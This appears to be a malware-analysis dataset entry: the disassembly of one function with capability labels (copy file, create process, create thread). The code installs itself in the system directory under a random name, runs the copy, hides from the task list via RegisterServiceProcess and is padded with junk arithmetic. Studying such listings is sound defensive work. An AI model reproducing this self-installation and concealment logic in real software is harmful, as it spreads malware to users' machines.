Function at 0x406c29
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
push edi
mov esi, 0x69d52c97
mov eax, esi
xor eax, esi
mov esi, eax
xor eax, esi
mov esi, eax
push str.QueenKarton_12
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
mov dword [ebp - 0x150], eax
or eax, eax
je 0x406c6d
push eax
call sub.KERNEL32.DLL_CloseHandle
push 1
call sub.CRTDLL.DLL_exit
pop ecx
mov eax, dword [ebp + 8]
mov dword [0x418e20], eax
sub esi, 0x44fd
mov dword [0x418d50], 0x94
push 0x418d50
call sub.KERNEL32.DLL_GetVersionExA
push 0xff
push 0x429080
call sub.KERNEL32.DLL_GetSystemDirectoryA
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.CRTDLL.DLL_srand
xor esi, 0x2d8e
push 0x104
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call sub.KERNEL32.DLL_GetModuleFileNameA
push 1
push 0x429080
lea eax, [ebp - 0x148]
push eax
call fcn.0040143b
add esp, 0x10
cmp eax, 0xffff
jne 0x406e07
add dword [0x42a100], 8
shl dword [0x42a100], 1
inc dword [0x42a100]
mov eax, esi
mul esi
mov dword [ebp - 0x26c], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov edx, 0x10624dd3
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov edi, edx
add edi, 0x41
mov ebx, edi
mov byte [ebp - 0x161], bl
mov byte [ebp - 0x151], 1
jmp 0x406d5f
call sub.CRTDLL.DLL_rand
movzx edi, byte [ebp - 0x151]
mov edx, 0x10624dd3
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov ebx, edx
add ebx, 0x61
mov byte [ebp + edi - 0x161], bl
add byte [ebp - 0x151], 1
mov al, byte [ebp - 0x151]
cmp al, 8
jbe 0x406d2f
mov byte [ebp - 0x159], 0
call sub.CRTDLL.DLL_rand
mov edx, eax
test dl, 1
jne 0x406d8a
mov byte [ebp - 0x15b], 0x33
mov byte [ebp - 0x15a], 0x32
sub esi, 0x1928
lea eax, [ebp - 0x161]
push eax
push 0x429080
push str._s_s.exe
lea eax, [ebp - 0x265]
push eax
call sub.CRTDLL.DLL_sprintf
push 0
lea eax, [ebp - 0x265]
push eax
lea eax, [ebp - 0x148]
push eax
call sub.KERNEL32.DLL_CopyFileA
lea eax, [ebp - 0x265]
push eax
call fcn.00403ce9
lea eax, [ebp - 0x161]
push eax
call fcn.00403f68
add esp, 0x18
add esi, 0x6758
push 0
lea eax, [ebp - 0x265]
push eax
call sub.KERNEL32.DLL_WinExec
mov eax, 0x5bf6
mul esi
mov dword [ebp - 0x270], eax
mov esi, eax
push 1
call sub.KERNEL32.DLL_ExitProcess
push str.kkq32.dll
push 0x429080
push str._s_s
push 0x418e30
call sub.CRTDLL.DLL_sprintf
mov eax, esi
sub eax, esi
mov esi, eax
push str.kkq32.vxd
push 0x429080
push str._s_s
push 0x428f60
call sub.CRTDLL.DLL_sprintf
push str.dnkkq.dll
push 0x429080
push str._s_s
push 0x408020
call sub.CRTDLL.DLL_sprintf
mov eax, esi
mul esi
mov dword [ebp - 0x154], eax
mov esi, eax
lea eax, str.QueenKarton
mov dword [ebp - 0x20], eax
mov eax, dword [0x418e20]
mov dword [ebp - 0x34], eax
lea eax, [0x406ff6]
mov dword [ebp - 0x40], eax
push 0x7f00
push 0
call sub.USER32.DLL_LoadCursorA
mov dword [ebp - 0x2c], eax
add esi, 0x5854
push 0x7f03
push 0
call sub.USER32.DLL_LoadIconA
mov dword [ebp - 0x30], eax
and dword [ebp - 0x24], 0
push 0
call sub.GDI32.DLL_GetStockObject
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x44], 3
and dword [ebp - 0x3c], 0
add esi, 0x27a5
and dword [ebp - 0x38], 0
lea eax, [ebp - 0x44]
push eax
call sub.USER32.DLL_RegisterClassA
push 0
push dword [0x418e20]
push 0
push 0
push 0
push 0
push 0
push 0
push 0xca0000
push str.QueenKarton
push str.QueenKarton
push 0
call sub.USER32.DLL_CreateWindowExA
mov dword [0x418df8], eax
mov eax, esi
mul esi
mov dword [ebp - 0x158], eax
mov esi, eax
push str.QueenKarton_12
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
push 0
call fcn.00402e06
add esp, 0x34
call sub.KERNEL32.DLL_GetVersion
cmp eax, 0x80000000
jb 0x406f65
push str.kernel32.dll
call sub.KERNEL32.DLL_GetModuleHandleA
push str.RegisterServiceProcess
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x15c], eax
mov eax, 0x59e3
mul esi
mov dword [ebp - 0x160], eax
mov esi, eax
call sub.KERNEL32.DLL_GetCurrentProcessId
push 1
push eax
call dword [ebp - 0x15c]
call fcn.004023a7
mov eax, esi
add eax, esi
mov esi, eax
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 0x40682b
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 0x4068b0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0x1f4
push 1
push dword [0x418df8]
call sub.USER32.DLL_SetTimer
jmp 0x406fdc
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_TranslateMessage
xor esi, 0x1728
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_DispatchMessageA
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_GetMessageA
or eax, eax
jne 0x406fc4
pop edi
pop esi
pop ebx
leave
ret 0x10